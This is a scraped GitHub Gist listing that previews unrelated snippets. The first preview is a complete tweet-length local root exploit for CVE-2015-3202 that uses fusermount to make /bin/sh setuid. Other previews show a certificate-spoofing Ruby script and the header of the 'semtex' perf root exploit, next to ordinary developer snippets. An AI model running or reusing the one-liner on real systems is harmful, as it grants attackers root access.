Skip to content

Instantly share code, notes, and snippets.

@taviso
taviso / CVE-2015-3202
Created May 21, 2015 12:52
Making a demo exploit for CVE-2015-3202 on Ubuntu fit in a tweet.
# Making a demo exploit for CVE-2015-3202 on Ubuntu fit in a tweet.
12345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890
a=/tmp/.$$;b=chmod\ u+sx;echo $b /bin/sh>$a;$b $a;a+=\;$a;mkdir -p $a;LIBMOUNT_MTAB=/etc/$0.$0rc _FUSE_COMMFD=0 fusermount $a #CVE-2015-3202
# Here's how it works, $a holds the name of a shellscript to be executed as
# root.
a=/tmp/.$$;
# $b is used twice, first to build the contents of shellscript $a, and then as
@kristianmandrup
kristianmandrup / aurelia-started.md
Last active February 22, 2017 16:15
Aurelia Getting started - walk through

Aurelia

Recipe

  • Install NVM
  • Install IO.js
  • Install global Node.js utility modules (gulp, jspm, yo)
  • Install RethinkDB
  • Install Koa.js
  • Install Aurelia generator
  • Create Aurelia app via generator
@jy00295005
jy00295005 / my_google_map_heler.js
Last active April 15, 2016 01:37
create google map for my project
// need two files
// <script language="JAVASCRIPT" src="../js/infobox.js"></script>
// <script language="JAVASCRIPT" src="../js/markerwithlabel.js"></script>
var helper = {};
//map style array
var style_pale = [{"featureType":"water","stylers":[{"visibility":"on"},{"color":"#acbcc9"}]},{"featureType":"landscape","stylers":[{"color":"#f2e5d4"}]},{"featureType":"road.highway","elementType":"geometry","stylers":[{"color":"#c5c6c6"}]},{"featureType":"road.arterial","elementType":"geometry","stylers":[{"color":"#e4d7c6"}]},{"featureType":"road.local","elementType":"geometry","stylers":[{"color":"#fbfaf7"}]},{"featureType":"poi.park","elementType":"geometry","stylers":[{"color":"#c5dac6"}]},{"featureType":"administrative","stylers":[{"visibility":"on"},{"lightness":33}]},{"featureType":"road"},{"featureType":"poi.park","elementType":"labels","stylers":[{"visibility":"on"},{"lightness":20}]},{},{"featureType":"road","stylers":[{"lightness":20}]}];
//helper中map会需要的函数放在此处
helper.map = {
require 'rubygems'
require 'openssl'
require 'digest/md5'
key = OpenSSL::PKey::RSA.new(2048)
cipher = OpenSSL::Cipher::AES.new(256, :CBC)
ctx = OpenSSL::SSL::SSLContext.new
puts "Spoof must be in DER format and saved as root.cer"
raw = File.read "root.cer"
cert = OpenSSL::X509::Certificate.new raw
cert.version = 2
#include <IOKit/IOTypes.h>
#include <IOKit/IOKitLib.h>
#include <CoreSurface/CoreSurface.h>
#include <stdio.h> // For mprotect
#include <sys/mman.h>
#ifdef __cplusplus
extern "C" {
#endif
@wsargent
wsargent / docker_cheat.md
Last active June 29, 2024 19:32
Docker cheat sheet
@dypsilon
dypsilon / frontendDevlopmentBookmarks.md
Last active March 27, 2025 08:16
A badass list of frontend development resources I collected over time.
/*
* linux 2.6.37-3.x.x x86_64, ~100 LOC
* gcc-4.6 -O2 semtex.c && ./a.out
* 2010 [email protected], salut!
*
* update may 2013:
* seems like centos 2.6.32 backported the perf bug, lol.
* jewgold to 115T6jzGrVMgQ2Nt1Wnua7Ch1EuL9WXT2g if you insist.
*/
@chourobin
chourobin / RKAppDelegate.m
Last active October 22, 2018 14:22
Setting up magical record with RestKit
#import <RestKit/RestKit.h>
#import "CoreData+MagicalRecord.h"
// Use a class extension to expose access to MagicalRecord's private setter methods
@interface NSManagedObjectContext ()
+ (void)MR_setRootSavingContext:(NSManagedObjectContext *)context;
+ (void)MR_setDefaultContext:(NSManagedObjectContext *)moc;
@end
@implementation AppDelegate